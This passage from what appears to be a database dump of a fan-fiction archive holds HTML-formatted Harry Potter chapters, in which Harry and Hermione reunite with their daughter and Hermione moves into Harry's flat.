class="MsoNormal">&#8220;Hello, Professor\nMcGonagall.&#8221; Harry said as they approached.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s good to see you two\nagain.&#8221; She smiled one of her rare smiles. &#8220;Professor Dumbledore is waiting to\nsee you in his office.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks, Professor.&#8221;\nHermione said. They followed her up many staircases and down many passageways\nuntil they reached the hallway going to his office.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;The password is Glomping\nGillyweed.&#8221; She told them. &#8220;I&#8217;ll leave you two here while I get your daughter.&#8221;\nShe smiled again and marched back down the corridor. Harry and Hermione entered\nDumbledore&#8217;s office.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mr. and Mrs. Potter.&#8221;\nDumbledore greeted them as they stepped inside. They both grinned at each\nother.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s wonderful to see you\nagain Professor Dumbledore.&#8221; Hermione said. Harry stepped forward and shook his\nhand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks for letting us come\nhere to see Caitlyn.&#8221; He said. &#8220;I didn&#8217;t want to have to pull her away from\nschool so soon, but with the circumstances, I wanted her to see her mother\nagain as soon as possible.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of course.&#8221; Dumbledore\nsaid, his eyes twinkling. &#8220;I&#8217;m sure Professor McGonagall will have her here in\njust a few moments.&#8221; He turned to Hermione. &#8220;And how have you been feeling my\ndear?&#8221; he asked kindly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m doing well, thank you.&#8221;\nShe replied. &#8220;My memories all returned to me while I was out from the potion,\nso it hasn&#8217;t been troubling me at all.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Footsteps outside made her\nstop talking and turn to the door expectantly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;&#8230;I swear, Professor, it\nwasn&#8217;t me who set off the dungbombs in the common room it was Blue&#8217;s cousins&#8230;&#8221;\nCaitlyn was saying nervously as McGonagall opened the door and they stepped\ninside. Her eyes scanned the room and came to rest on Harry and Hermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Dad!&#8221; she cried happily and\nflung herself into his arms. Harry hugged his daughter tightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Caty Cat, I missed you.&#8221; He\nsaid. He pulled her back at arms length. &#8220;I want you to meet someone.&#8221; Harry\nturned Caitlyn around to face Hermione, who looked like she was about to face a\nfiring squad.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Dad I already know who that\nis.&#8221; Caitlyn said. Harry chuckled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, not technically.&#8221; He\nbrought both of his hands up and placed them on her shoulders. &#8220;Caty, this is\nyour mother, Hermione.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi, Caitlyn.&#8221; Hermione said\ngently. None of them noticed Dumbledore and McGonagall leave the office.\nHermione got up from her chair and kneeled down before her daughter. &#8220;Can I&#8230;hug\nyou?&#8221; she asked tentatively.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Caitlyn looked at her for a\nlong moment and then nodded. Hermione gratefully wrapped her arms around her\nand pulled her tightly against her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mum&#8230;&#8221; Caitlyn whispered as\nshe threw her own arms around Hermione&#8217;s neck. Tears ran out of her eyes when\nshe heard her daughter acknowledge her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey let&#8217;s make this a\nfamily affair.&#8221; Harry said, and got down next to them and pulled them into his\nown embrace. They stayed like that for quite sometime.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So how come you thought you\nwere someone else?&#8221; Caitlyn finally asked later as they were seated at The\nThree Broomsticks, having something to eat.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;&#8221; Hermione looked at\nHarry for support.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;There was a very horrible\nperson who cursed your mum,&#8221; Harry said as gently as he could. &#8220;He&#8217;s now in\nprison, and he wont&#8217; ever get out again.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Caitlyn nodded resolutely.\n&#8220;Good.&#8221; She sent a shy smile at her mother, who had hardly been able to take\nher eyes off her all afternoon. &#8220;Are you coming to live with us?&#8221; she asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione smiled. &#8220;I should\nthink so.&#8221; She replied, looking once again at Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Absolutely.&#8221; He said. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Later that evening, they\ndropped Caitlyn back off at Hogwarts and then went down to the train station to\napparate back home (They still could not apparate on Hogwarts ground). They\nentered the lobby of the building, and Harry walked Hermione to her door, as\nshe was still staying with Grace for the time being.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Goodnight Harry.&#8221; She said,\nraising herself to kiss him. &#8220;What time are you coming over in the morning?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Stay with me tonight.&#8221;\nHarry said, ignoring her question. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s eyes widened.\n&#8220;Harry&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I want to wake up next to\nyou tomorrow morning. I promise, we don&#8217;t have to do anything&#8230;&#8221; He interrupted\nher, pleading with his eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She thought for a moment and\nnodded. &#8220;All right.&#8221; She agreed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(A/N: Well there you have\nit, she&#8217;s Hermione, as if you didn&#8217;t know <b>*</b>smirk* LOL And don&#8217;t get your\nknickers in a twist thinking I&#8217;m leaving you off at a cliffhanger, nothing\nsexual is happening between them&#8230;. yet&#8230;. heehee Anyways, please don&#8217;t forget to\nread and review! Next chapter probably won&#8217;t be up till next week because this\nis STAR WARS WEEKEND!)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(77, 12, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Chapter 12</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(A/N: Ok, for those of you\nthat haven&#8217;t seen Star Wars yet, DO SO!!! It&#8217;s excellent!! </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Thanks again for all the\nreviews you guys left me, every one of them is appreciated- especially since\nthere are no flames :)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">There are three more\nchapters left after this one, and I do hope you enjoy them!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">More mood music! If you\nwant, get the song A New Day Has Come by Celine Dion, the ALBUM VERSION not the\nremix they play on the radio!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And I used Ryoko&#8217;s Hermione\nmiddle name, Leanne.)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The sunlight streamed\nthrough the window over Harry&#8217;s bed and directly into Hermione&#8217;s closed\neyelids. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ermph&#8230;&#8221; she said, rolling\non her side, her nose immediately hit something solid. Her eyes opened to find\nher body nestled next to Harry&#8217;s. Hermione felt a smile curve across her lips\nas she watched his chest rise and fall rhythmically; one arm slung over his\nhead, the other was nestled under her neck. A sense of delight filled her like\nshe had never known before. Even though they had not made love the night\nbefore, Harry had been a perfect gentleman, simply content just to hold her and\nevery now and then kiss her deeply. She had not minded that in the least, and\nnow the urge to feel his lips on hers was so great, Hermione leaned over and\ngently placed her mouth on his.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry smiled inwardly as he\nfelt Hermione lean over him and press her lips to his. Gently, so she wouldn&#8217;t\nfeel the movement, he wrapped his arms around her tightly and rolled her up on\ntop of him. She squealed in surprise.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry James Potter!&#8221; she\nsaid in mock anger, and he laughed. &#8220;How long have you been awake?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just now.&#8221; He smirked up at\nher and she grinned and kissed him once more.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;As much as I love kissing\nyou,&#8221; Harry said smiling up at her, &#8220;I have to tell you, you&#8217;ve got the worst\ncase of morning breath I&#8217;ve ever smelled.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione felt her jaw drop\ndown. &#8220;I can&#8217;t believe you just said that. It&#8217;s not like your breath is rose\nscented either!&#8221; she poked him hard in the chest with her index finger.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ouch!&#8221; Harry said, laughing\nagain as she pushed off of him and headed for the bathroom. &#8220;Hey, where are you\ngoing?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;To use your toothbrush!&#8221;\nshe grinned devilishly at him and closed the bathroom door. Harry jumped off\nthe bed and opened it, grinning at her as she squirted white paste onto his\nblue toothbrush. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Honestly Harry,&#8221; she said,\ntalking around a mouthful of foam. &#8220;I would think you&#8217;d at least have one of\nthose nice spin brushes.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t see you\ncomplaining.&#8221; Harry replied as he watched her brush vigorously. She spat the\npaste into the sink and smiled brightly at him. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All clean!&#8221; she sang. Harry\nshook his head and brushed his own teeth quickly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I need to take a shower.&#8221;\nHermione said. Harry leaned back against the sink and folded his arms across\nhis bare chest.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay.&#8221; He said. She raised\nher eyebrows at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you going to stay here\nwhile I do?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry puckered his lips in a\npout. &#8220;Please?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione couldn&#8217;t help but\nsmile at his antics. &#8220;Maybe tomorrow.&#8221; She said, grabbing his arm and pulling\nhim towards the door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">His face lit up like a\nchild&#8217;s on Christmas Day. &#8220;Okay then.&#8221; He stuck his tongue out at her and she\nclosed the door behind him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry snickered at his own\nantics as he pulled out a clean pair of jeans and a shirt to wear that day. He\nfelt wonderful, like he had just won the lottery. Everything in his life was\nfalling back into place. It was almost as if the past 10 years hadn&#8217;t happened.\nAlmost, but not quite.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After a few more moments, he\nheard the shower shut off, and the sound of Hermione humming came through the\ndoorway. A minute after that, she stepped back into his bedroom with nothing\nbut a towel wrapped around her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry clenched his jaw hard\nas he saw her in that towel, with the water droplets clinging to her skin, her\nvery long dark hair falling down her back. The towel shifted a bit as she bent\nover to pick up her clothing and Harry had to turn away to contain himself,\ntaking a deep breath and biting down hard on his lower lip. He wanted nothing\nmore than to take her right there, but he wanted even more to respect her\nfeelings. He yanked the shirt on over his head and stepped into his jeans,\nzipping them up roughly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re not going to\nshower?&#8221; Hermione asked, having picked up her clothes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I will later.&#8221; He said. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She nodded. &#8220;I&#8217;ll be right\nback.&#8221; She went back into the bathroom and put her clothes from the previous\nnight back on, she could change when she went to her flat later. She went back\ninto the bedroom and was rather amused to see Harry pacing the floor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Will not think about her in\na towel&#8230;.&#8221; He kept mumbling over and over. She smiled and sneaked up behind\nhim, wrapping her arms around his middle.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s wrong with me in a\ntowel?&#8221; she asked innocently, as he turned around to face her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Absolutely nothing.&#8221; Harry\nsighed, looking down at her. &#8220;It just scares me how much of my self control\njumps out the window when you&#8217;re around.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m sorry.&#8221; She apologized.\nHermione felt bad, she&#8217;d have taken her clothes into the bathroom with her if\nshe&#8217;d known how he was feeling.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s all right.&#8221; Harry\nsmiled down at her, and then pulled her tighter into his arms and she rested\nher head against his chest.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh!&#8221; she cried a moment\nlater, pulling her head away, and looking at his shirt, which was now wet from\nher hair. &#8220;I&#8217;m sorry!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s all right.&#8221; Harry\nsaid. He grabbed his wand from the night table and cast a drying spell on the\nshirt.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione moved to the\ndresser and took up his brush. &#8220;I should dry my hair before I get everything\nelse wet.&#8221; She pointed to his wand. &#8220;Can you cast a drying spell for me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll do more than that.&#8221;\nHarry came up beside her and took the brush from her hand. He muttered the\ndrying spell and her long hair was instantly dry. Harry guided her over to the\nbed, and then began to pull the brush through her hair, gently, using his\nfingers to work out any snarls. He loved the feel of her silky locks as they\nslid through his fingers; he leaned forward and smelled his shampoo, which had\nan ocean scent to it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You smell good.&#8221; He said,\nburying his face in her hair. Hermione leaned back and he dropped the brush to\nthe floor and wrapped his arms around her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t stop doing that.&#8221; She\nmurmured. Harry kept one arm wrapped around her waist while the other went back\nup to her hair and combed through it with his fingers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I can&#8217;t believe you kept\nyour hair this long.&#8221; Harry said. &#8220;Not that I&#8217;m complaining, mind you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She smiled. &#8220;Yeah, me\neither. I thought about asking Grace what spells she used to change how I\nlooked, but I don&#8217;t mind staying this way.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I love how you look either\nway.&#8221; Harry said, turning her face towards his.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thank you.&#8221; She replied,\nkissing him quickly, and then standing up. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You going somewhere?&#8221; he\nasked, grabbing her hand and tugging on it, wanting her back on the bed next to\nhim.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I can&#8217;t stay here all day&#8230;&#8221;\nshe said. &#8220;I do have to go home sometime.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You are home.&#8221; Harry said.\nHe got up and pulled her back into his embrace. &#8220;I want you to move in here\nwith me, and with Caitlyn.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You don&#8217;t beat around the\nbush do you?&#8221; Hermione asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not with this.&#8221; Harry said\nseriously. &#8220;I want you here for the rest of our lives.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;&#8221; Hermione said,\nlooking up at him. &#8220;Perhaps you want to help me pack?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry whooped and spun her\naround much like he had when she, as Catherine, had told him about some of her\nmemories. Hermione laughed gaily as the room whirled around her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ohhh now I&#8217;m dizzy.&#8221; She\ngroaned as he set her down.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Perhaps you&#8217;d like a little\nmouth to mouth?&#8221; Harry asked her, his eyes twinkling.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh yes, that would be nice,\nI feel quite faint&#8230;&#8221; Hermione teased. She fell back, knowing Harry would catch\nher. He grabbed around her waist and pulled her back up tightly against him. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry leaned forward and\nteased her lips with his own, brushing them lightly against hers. Hermione took\nthe bait and placed both her hands at the back of his head, pressing her mouth\nagainst his roughly, forcing him to part his lips so that she could taste every\naspect of him. He pushed her back down on the bed and fell on top of her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You have such a one track\nmind&#8230;&#8221; she said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It was definitely some time\nlater that Hermione finally managed to leave Harry&#8217;s flat. He told her he wanted\nto take her out for dinner that night, and therefore had to make arrangements,\nand promised to stop by later to help her pack up her things to make the move\nto his place.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I can&#8217;t believe you&#8217;re\nmoving out.&#8221; Grace complained as she helped pack up Hermione&#8217;s things later\nthat afternoon.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Grace it&#8217;s not like I&#8217;m\nmoving far, it&#8217;s just one floor up.&#8221; Hermione said, magicking some clothes from\nthe closet into a box.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know, but now I really\nfeel as if I won&#8217;t see you anymore.&#8221; Grace said, sitting down on the bed and\ncrossing her arms.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione stopped what she\nwas doing and took a good look at her friend. &#8220;Grace&#8230;&#8221; she said, sitting down\nnext to her. &#8220;I promise, I swear, that I&#8217;ll always make time for you. It&#8217;s like\nI keep saying, if it weren&#8217;t for you, I probably wouldn&#8217;t be here right now.&#8221;\nShe put her arm around Grace&#8217;s shoulder. &#8220;We&#8217;ll still see each other all the\ntime, I just won&#8217;t be living here anymore. Besides, now you can bring your\ndates in here and be as loud as you want.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Grace looked at her a moment\nand then the two of them burst into laughter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s a good point.&#8221; Grace\nsaid, wiping her eyes. She held out her hand, her pinky finger extended. &#8220;Pinky\nswear that we&#8217;ll always stay the best of friends.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione smiled and hooked\nher pinky finger around Grace&#8217;s. &#8220;Pinky swear.&#8221; She said, and the two of them\nhugged. Hermione looked around the room, she was only half done. &#8220;I should\nreally keep working now, I want to have this finished by the time Harry comes\nby.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Speaking of Harry,&#8221; Grace\nsaid slyly, &#8220;What did you two do last night?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nothing!&#8221; Hermione said.\n&#8220;We didn&#8217;t have sex, if that&#8217;s what you&#8217;re implying.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why not?&#8221; Grace asked. &#8220;I\nwould have.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Grace!&#8221; Hermione whirled\naround.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sorry.&#8221; Grace said\nsheepishly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t know why we didn&#8217;t.&#8221;\nHermione said after a moment. &#8220;I guess it just wasn&#8217;t the right moment, you\nknow?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, sometimes it needs to\nbe just right&#8230;&#8221; Grace agreed. She folded the last shirt and placed it carefully\nin a box. &#8220;Doesn&#8217;t this all seem to be going really fast?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes it does.&#8221; Hermione\nreplied. &#8220;Not that the past nine years with you haven&#8217;t been a blast, but I&#8217;m\nhappy to finally know everything, and regain my life.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, I can understand\nthat.&#8221; Grace said, helping her shrink the boxes down. &#8220;I have some news for you\nthough.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh really?&#8221; Hermione looked\nup in interest. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Grace smiled widely. &#8220;Justin\nand I got back together.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s great!&#8221; Hermione\nsaid, genuinely happy. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He&#8217;s taking me to the Caribbean\nthis weekend.&#8221; Grace said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oooh,&#8221; Hermione teased. She\nsat down on the edge of the bed. &#8220;I remember back in school everyone thought he\nwas gay for a time, because he and Seamus Finnigan were joined at the hip.\nTurns out they were doing some project together and they both worked best at\nnight&#8230;.&#8221; She trailed off laughing at Grace&#8217;s look of horror. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Gay?&#8221; Grace finally managed\nto utter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, no he&#8217;s not!&#8221; Hermione\nsaid through her laughter. &#8220;Everyone just THOUGHT he was!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You are so mean!&#8221; Grace said,\ngrabbing a pillow and whacking Hermione over the head with it. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey!&#8221; Hermione cried,\nlaughing even harder. She retaliated by smacking Grace&#8217;s face with her own\npillow, the two women shrieking with laughter as feathers started flying around\nthe room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry knocked on the door to\nGrace and Hermione&#8217;s flat. He could hear them inside, but they weren&#8217;t\nanswering the door. Putting his hand on the knob, it opened and he stepped\nthrough the doorway. Following the noise, he was amused in the least to see Hermione\nand Grace in the midst of a pillow fight, the white feathers from the pillows\nwere thick in the air, and Harry laughed inwardly to see some of them settle in\nHermione&#8217;s dark hair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A grunt at his elbow made\nhim turn, and he was surprised to see Justin Finch Fletchley standing at his\nside.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry.&#8221; He said, nodding\nhis head (all four of them had had dinner together a few nights before, so\nJustin knew all that had occurred). &#8220;Boy did we get here at the wrong time or\nwhat?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think so.&#8221; Harry said, as\nthe two women finally noticed both of the men standing in their doorway. &#8220;You\nknow, the only thing you guys are missing is the mud, and this would be\ncomplete.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, why weren&#8217;t we\ninvited to the orgy?&#8221; Justin asked as innocently as possible.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re disgusting.&#8221; Grace\nsaid dryly, obviously not meaning it from her tone of voice. She stepped over\nthe now flat pillowcase and kissed Justin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry turned away to look at\nHermione, who was biting the inside of her lower lip. He walked across the room\nand pulled a few feathers from her locks.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well I had everything\npacked&#8230;&#8221; Hermione said, grinning as she looked around the room. &#8220;Now I need new\npillows.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Did you get everything else\npacked already?&#8221; Harry asked in surprise, trying to ignore the muffled sounds\ncoming from the doorway where Grace and Justin were still kissing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, we did.&#8221; Hermione said\nproudly. A loud slam made her jump into Harry&#8217;s arms and they both looked to\nsee that Grace and Justin had stumbled out into the hall, pulling the door shut\nalong with them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Goodness.&#8221; Hermione said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re still very jumpy.&#8221;\nHarry commented, absentmindedly rubbing one hand in a soothing motion on\nHermione&#8217;s back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Loud noises, yes.&#8221; She\nsaid. Hermione bent over and picked up the shrunken boxes. &#8220;Here&#8217;s everything.&#8221;\nShe carefully deposited them into Harry&#8217;s palm.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Think it&#8217;s safe to go out\nthere?&#8221; Harry asked, carefully inching open the door and peering out into the\nhallway. Hermione peeked over his shoulder.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh good, they&#8217;ve gone into\nher bedroom.&#8221; Hermione said, pushing the door open all the way and going down\nthe hallway. A few grunts and moans were heard from behind the closed door of\nGrace&#8217;s room; Harry and Hermione scurried out even quicker.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry let them into the door\nof his, rather, THEIR flat, and deposited the boxes on the floor, enlarging\nthem to their normal size. They spent the next few hours unpacking things, and\nfinally had everything set up the way it should be.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry glanced at the clock\non the wall. &#8220;Is it that late already?&#8221; he asked in disbelief.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why?&#8221; Hermione looked up\nfrom the books she was placing on the shelf.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We have dinner plans at\nseven.&#8221; Harry replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We do?&#8221; Hermione asked.\n&#8220;Where?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p 